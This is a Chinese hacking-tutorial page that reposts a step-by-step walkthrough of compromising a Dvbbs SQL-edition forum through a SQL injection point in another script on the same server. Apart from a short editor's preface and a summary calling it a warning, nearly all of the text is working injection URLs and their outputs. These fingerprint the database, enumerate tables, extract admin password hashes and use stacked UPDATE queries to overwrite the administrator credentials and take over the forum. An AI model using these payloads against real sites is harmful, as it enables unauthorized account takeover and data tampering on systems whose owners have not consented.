首页 电脑学院 黑客教程 网站技术 网页特效 免费论文 公文写作 演讲发言 实用文档 职场指南 时尚生活 情感男女 其他资讯

您的位置:首页-> 黑客教程-> 入侵实例-> 再谈SQL注入入侵动网SQL版
再谈SQL注入入侵动网SQL版
编辑前言:这个文章我没有测试,但前提条件还是很多,比如一定要有别的程序存在,而且也要用同一个SQLSERVER库,还得假设有注入漏洞。说到底和动网没有什么关系,但因为动网论坛的开放性,让人熟悉了其数据库结构,和程序运作方法。在一步步的攻击中取得管理权限,再一步步的提升权限,如果正好数据库用的是SA帐号,就更是麻烦了。

正是由于这些条件的假设,所以大家也不用太紧张,这里提供的是很多理想状态下的入侵行为,在编程中减少安全漏洞是我们每个程序员要注意的。而站长在组合使用多个程序的时候,也要注意安全和程序的完整性。

在我所了解的多个动网7.0+sp2 的版本也有2-3次被黑现象,所以大家还要及时注意升级,详细进行权限设置。并不是说动网不好,而是说他程序的开放性,用的人很多,找出来的BUG会很多,软件学里说了,用的越多,BUG会越多。相对来说,我喜欢自己定制化开发的程序,相对来说会安全一些。

下面是六中男孩的正文

现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。

一、 首先确定目标。假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。

http://www.loveyou.com/type.aspid=6' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。

继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--

返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
看来已经打上最新的SP4补丁。

取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--

返回:Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库用户为:webuser

取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--

返回:Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。
从错误信息中得到当前数据库名为: 01city

接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=(SELECT%20IS_MEMBER('db_owner'))--
正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。

二.得到数据库表名。不出意外的话动网的各个表就存在于当前数据库01city中。
首先得到第一个表:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in(''))--
返回:[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'address' 转换为数据类型为 int 的列时发生语法错误。
好的,第一个表名出来了,为: address
继续,
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address'))--
返回: admin 第二个表名也出来了。依次类推, 提交:
http://www.loveyou.com/type.asp?id=(select top 1 name from sysobjects where xtype='u' and status>0 and name not in('address','admin',...))--

可以得到当前数据库中所有表名。
不一会儿,结果出来了, 表名好眼熟啊。
"address","admin","bbslink","bbsnews","board","user".........傻瓜都看的出这是动网的表。当然还有其它的一些表,我们不去管它。
接下来就好办了,也不要去猜字段了,我们打开自己的动网数据库看一下就知道了。 既然有了表名,字段名,那么,动网不就在你掌握之下了吗? 但千万不要 drop table啊。 破坏就不好了。我们的目的是演练技术,提高水平。 好,那么,我们去得到动网的后台。

三、进入后台,取得动网论坛管理员权限。
先看看后台有多少个管理员:
http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)--
返回错误: 当前的记录已被删除。说明管理员少于4位。直接提交,
http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)--
正常显示信息,看来管理员只有一个,读出管理员名字,
http://www.loveyou.com/type.asp?id=(select username from admin)--
出来了,管理员后台登陆名为: 01city
继续读出管理员后台登陆密码:
http://www.loveyou.com/type.asp?id=(select password from admin)--
很顺利,密码为: e7cc01be0e33a273
是MD5加密过的。难道要去破解它吗? 别急,根本不需要去破MD5密码。
由于动网后台管理是COOKIE+SESSION认证。所以只有管理员在前台登陆才可以进后台管理,一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易,在他论坛注册一个用户查看一下管理团队,得出,前台管理用户为: admin

好,得到他的密码:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回,admin的前台密码为:e7cc01be0e33a273
同样是MD5的。 现在利用COOKIE欺骗可以登陆它的前台管理了。但是还有别的办法吗?别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了,对 ,就是,update。 我们来提交:
http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin';--
正常返回信息,应该成功执行了,查看一下:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回值为: 49ba59abbe56e057
更改密码成功,说明一下,这个16位MD5是预先算好的。你要知道它的明文密码。
那么同样的,我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的,提交:
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--
查看一下:
http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功,后台管理员现在已变成:admin 接下来更改密码,提交:
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--
查看一下:
http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功,后台管理员密码已经变成:49ba59abbe56e057

到这里为止,动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。

四、总结
就这样并不算太艰难的实现了对动网的控制。通过这次善意的渗透测试,也暴露出SQL INJECTION攻击的可怕性。而对于IIS+ASP+SQL2000的虚拟主机来说简直就是防不胜防。只要主机上有一个SQL注入点的话,动网就将面临灭顶之灾了。而其实从服务器庞大的网站程序中找一个这样的SQL注入点并不算难事.正应征了一句老话:千里之堤,溃于蚁穴。所以防范这样的攻击的最好办法是加强程序代码的安全性。安全是个整体,任何细微的错误都有可能导致严重后果。

在百度中查找更多再谈SQL注入入侵动网SQL版的内容
职场宝典   职场故事   职场跳槽   职场文化   职场理财   职场充电   情感天地   职场女性   职场礼仪   职场新人
报告总结   述职报告 工作总结 调查报告 工作汇报 计划方案 个人总结 社会实践 规章制度 调研报告 
  实习报告 考察报告 辞职报告 
演讲发言   竞职演说   就职演说   精彩演说   爱国演讲   英语演讲   十七大演讲   安全生产演讲稿   
节日祝福   重阳节 国庆节 教师节 中秋节 情人节 七夕节 劳动节 妇女节 清明节 愚人节 春节 元旦 圣诞节  儿童节  端午节 母亲节 新婚祝福 生日祝福 
讲话致辞   开业开幕   会议主持   庆典致辞   会议发言   党风廉政   党政报告   贺电慰问   婚丧嫁娶   思想宣传
法律常识   基本常识   法律文书   权益常识   劳动保障   婚姻继承   民事诉讼   刑事诉讼   
党建材料   入党申请   思想学习   党性分析   思想汇报   转正申请   民主生活   党委党建   入团申请   申报材料
求职简历   个人简历   求职自荐   求职谋略   面试技巧   求职英语   自我鉴定   英文简历   简历封面
心得体会   心得体会   经验交流   读后感   
时政热点   和谐社会   先进性教育   新农村建设   十七大   八荣八耻   科学发展观   劳动合同法   
人际沟通   社交技巧   社交礼仪   口才技巧   谈话技巧   演讲技巧   
营销技巧   电话销售   网络销售   推销技巧   促销技巧   销售口才   营销手段   销售技巧   谈判技巧   

“ 再谈SQL注入入侵动网SQL版”来源于网络,版权归作者所有!勿用于商业用途。

入侵实例

新手入门
病毒漏洞
工具使用
入侵实例
安全防范
旁门左道

本类阅读TOP10

·我是怎么进入他人计算机的
·关于共享机器的入侵过程
·黑客是怎样攻击服务器的
·黑客攻击过程
·一次侵入NT的故事
·一种奇特的入侵方式
·如何ping死win98
·通过NetBIOS入侵
·多姿多彩的网站挂马方式
·一次512端口入侵

广告


关于本站|服务条款|广告服务|客服中心|发布文章|网站留言